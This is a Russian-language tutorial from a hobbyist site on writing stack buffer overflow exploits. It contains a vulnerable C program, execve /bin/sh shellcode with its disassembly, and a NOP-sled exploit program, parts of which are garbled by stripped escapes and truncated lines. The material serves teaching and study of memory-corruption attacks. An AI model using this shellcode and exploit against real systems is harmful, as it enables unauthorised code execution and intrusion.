Приветствую Вас ГостьПятница, 01.11.2024, 06:46

Сайт о компьютерах и софте


Каталог статей

Главная » Статьи » Безопасность ПК » Эксплоиты

Как устроены эксплоиты
Категории каталога
Шифрование данных [1]
Эксплоиты [1]
Скрытие IP [1]
Друзья сайта
Порно онлайн
Скачать порно бесплатно
Порно фотки
Частная эротика
Фильмы онлайн
Скачать кино бесплатно
Документальное кино
Голые звезды
Игры для PC бесплатно
Маленькие игры
Counter-Strike портал
World of WarCraft
Lineage2
ТВ и радио онлайн
Софт-портал
Музыкальные клипы онлайн
Музыкальный портал
Музыкальные клипы
Весь юмор
Все для сотовых
Бесплатные книги
Все аватары
Портал о графике
Линейки для форумов
Бесплатный хостинг картинок
Форум с оплатой
Портал о любви
Все о беременности и малышах!
Портал по диетологии
Свадебный портал
Все о маникюре

Статистика

Эксплоит, как известно, программа использующая некую ошибку в программном обеспечении для выполнения некоторых действий в атакуемой системе. Это может быть выполнение некоторого кода. Эксплоиты делятся на несколько категорий: эксплоиты приводящие к D.O.S. и эксплоиты выполняющие код. Конечно есть еще один класс эксплоитов - неработающие эксплоиты, но об этом мы поговорим позже.

В данной статье речь пойдет об эксплоитах приводящих к выполнению кода на атакуемой системе. Такие эксплоиты основаны, чаще всего, на переполнении буфера. Дело в том, что многие программные продукты содержат определенный класс ошибки, при которой данные не помещаются в отведенный в оперативной памяти массив, после чего оставшиеся данные непомещенные в массив попадают в стэк, где выполняются в качестве программного кода. Помните в эксплоитах некую непонятную строку символов, примерно из 15-50 байт... вот это и есть тот самый шеллкод - то, что по идее автора эксплоита должно попасть в стэк. Вот пример программы, при которой возможно переполнение буфера:

---------------------------------
#include
int
main(int argc, char* argv[])
{
char buffer[100];
strcpy(buffer,argv[1]);
return 0;
}
---------------------------------

Давайте рассмотрим пример подробнее: у нас есть массив из 100 элементов. Далее мы копируем первый позиционный параметр (параметр командной строки) в наш массив. Заметьте, что у нас нет проверки на длинну нашего входного параметра, т.е. существует прямая угроза переполнения нашего буфера.
Теперь рассмотрим примеры написания эксплоитов. Есть несколько возможностей получить эксплоит: найти в интернете, написать самому, подправить существующий. Первый способ самый простой, но и самый не надежный: не факт, что под данную операционную систему существует уже готовый эксплоит, да и возможно, что вы первый, кто нашел эту уязвимость. Второй способ самый лучший, так как вы сами пишите - сами пользуете. Но есть и отрицательные стороны: нужно знать как минимум один язык программирования для написания программы-"контейнера" (так я называю программу выполняющую главную функцию по установке шеллкода). В этом случае вы плавно спускаетесь до уровня 3 - модификация чужого эксплоита. Я не считаю это зазорным, так как зная, что ты изменяешь, можно получить совершенно новый эксплоит. Примером может послужить модификация шеллкода.
Вы наверное уже заметили, что не все эксплоиты работают (об этом я уже говорил). Одной из причин может послужить неверная версия ОС. Дело в том, что программы-шеллкоды различаются в написании для Линукса и БСД-систем, так как шеллкод обычно пишется на ассемблере, а, например, параметры в БСД системах передаются через стэк, в то время, как в Линуксе через регистры... но мы не об этом.
Чтоб не повторять уже написанных статей, я не буду рассказывать о том, как написать шеллкод - мы поступим по другому. Если человек чему-то хочет научиться, ему нужно смотреть в исходники уже написанных продуктов. У шеллкода также есть исходники, но как их получить? На ум приходит дизассемблирование. Берем готовый шеллкод и пихаем его в программу на С примерно таким образом:

--------------------------------------------------------------------
char shellcode[]=
"xebx1fx5ex89x76x08x31xc0x88x46x07"
"x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0c"
"xcdx80x31xdbx89xd8x40xcdx80xe8xdcxffxffxff"
"/bin/sh";
int
main(int argc,char* argv[])
{
void(*shell)()=(void*)shellcode;
shell();
return 0;
}
--------------------------------------------------------------------

Компилируем. И дизасмим: objdump -D shellprog|more. Листаем до секции . Вы должны получить следующее:
------------------------------------------------------------------------------
080494e0 :
80494e0: eb 1f jmp 8049501
80494e2: 5e pop %esi
80494e3: 89 76 08 mov %esi,0x8(%esi)
80494e6: 31 c0 xor %eax,%eax
80494e8: 88 46 07 mov %al,0x7(%esi)
80494eb: 89 46 0c mov %eax,0xc(%esi)
80494ee: b0 0b mov $0xb,%al
80494f0: 89 f3 mov %esi,%ebx
80494f2: 8d 4e 08 lea 0x8(%esi),%ecx
80494f5: 8d 56 0c lea 0xc(%esi),%edx
80494f8: cd 80 int $0x80
80494fa: 31 db xor %ebx,%ebx
80494fc: 89 d8 mov %ebx,%eax
80494fe: 40 inc %eax
80494ff: cd 80 int $0x80
8049501: e8 dc ff ff ff call 80494e2
8049506: 2f das
8049507: 62 69 6e bound %ebp,0x6e(%ecx)
804950a: 2f das
804950b: 73 68 jae 8049575

|_________| |__________________| |___________________________________|
Смещение байт-код(он и со- дизассемблированный
относитель- ставляет шеллкод) код программы
но начала
------------------------------------------------------------------------------

Вот мы и получили исходный код шеллкода. Если вы немного знакомы с программированием на ассемблере под юникс, то разобраться будет не сложно. Отмечу лишь то, что в данном случае используется системный вызов execve для запуска дополнительного шела /bin/sh (шеллкод взят с какого-то сайта). Как видите, по объему программа на асме не такая уж огромная... но вот пользы от нее уйма.
Стоит отметить, что сам шеллкод является данными, которые посылаются в буфер, а концом любых данных является нуль-байт - ''. По этому, когда вы будете писать свой байт-код, следите за тем, чтоб у вас не было байтов типа 'x00', так как после этого байта в стэк уже ничего не попадет. Для избежания этого не стоит использовать конструкции типа pushl $0. В случае, если вам нужно поместить в стэк ноль, пишите следующим образом:
-------------------
xorl %eax,%eax
pushl %eax
-------------------

Также ошибка может заключаться в помещении в регистр номера системной функции. Обычно это байт а не двойное слово, по этому нужно вместо
movl $0x17,%eax

использовать пересылку командой movb в младшую часть регистра:
movb $0x17%al

Вообще, по написанию шеллкодов написанно множество статей, но боюсь, что ничего нового я не напишу...
Итак, у нас есть шеллкод. Для проверки его работоспособности вы можете его запустить (откомпиллированная программа). У каждой программы есть указатель на начало ее стэка. Получить его можно следующим образом:
-----------------------------------
unsigned long
get_sp(void)
{
__asm__("movl %esp,%eax");
}
-----------------------------------

Зная адрес начала стэка, мы пишем программу, при этом все переменные должны располагаться после этого адреса.
Итак, у нас есть программа, есть шеллкод.. пора брать быка за рога. У нас есть массив из 100 элементов - это значит, что нужно воткнуть наш шеллкод куда-то внутрь него. Но при этом не потерять его в памяти, те всегда иметь указатель на начало нашего шеллкода. Также нам необходимо, чтобы перед нашим кодом не попало в стэк ничего лишнего, что могло бы привести к сбою программы. Мы уже говорили об указателе на начало стэка, значит наш буфер должен располагаться если не сразу после этого адреса, то где-то неподалеку. Для того, чтоб пропустить весь "мусор", мы в буфер "мусор" кидать не будем - мы заполним буфер командой NOP. Данная команда используется для кратковременной задержки длительностью в один такт, так что она ничего не делает - происходит переход к следующей команде. Я думаю вы уже догадались... Мы просто заполним весь наш оставшийся массив данной командой (x90), так что при прыжке в любое место буфера мы просто пропустим несколько тактов процессора и попадем на точку входа нашей процедурки на асме.
Давайте создадим новый буфер большей величины следующего содержания: начало будет состоять из NOP'ов, где-то в середине будет наш шеллкод, а в конце будет адрес возврата.
--------------------------------------------------------------------
#include
#include

#define RET 1024
#define RANGE 200


char shellcode[]=
"xebx1fx5ex89x76x08x31xc0x88x46x07"
"x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0c"
"xcdx80x31xdbx89xd8x40xcdx80xe8xdcxffxffxff"
"/bin/sh";

unsigned long
get_sp(void)
{
__asm__("movl %esp,%eax");
}

int
main(int argc,char *argv[])
{
int offset=0,bsize=RET+RANGE+1;
int i;
char buff[bsize],*ptr;
long ret;
unsigned long sp;

;

if(argc>8;
buff[i+2]=(addr&0x00ff0000)>>16;
buff[i+3]=(addr&0xff000000)>>24;
}
for(i=0;i buff[i]='x90';

ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;

for(i=0;i *(ptr++)=shellcode[i];

buff[bsize-1]='';

execl("./vulnerable1","vulnerable1",buff,0);



}
--------------------------------------------------------------------


Смещение стоит выбирать такое, чтобы попасть. Так как в нашем случае буфер находится в качестве единственной переменной, к тому же она находится в начале программы, то и смещение должно быть относительно малым. У меня на машине смешение от 200-700 работало, но помните, что это зависит от конкретной машины, следовательно у вас это значение может отличаться.




Источник: http://hackzona.ru
  Категория: Эксплоиты | Добавил: comp (11.05.2008)
  | Автор: CopKiller
 Просмотров: 773 | Комментарии: 1
 | Рейтинг: 0.0/0 |
 Всего комментариев: 0
 
 
Заработай!


Загрузка.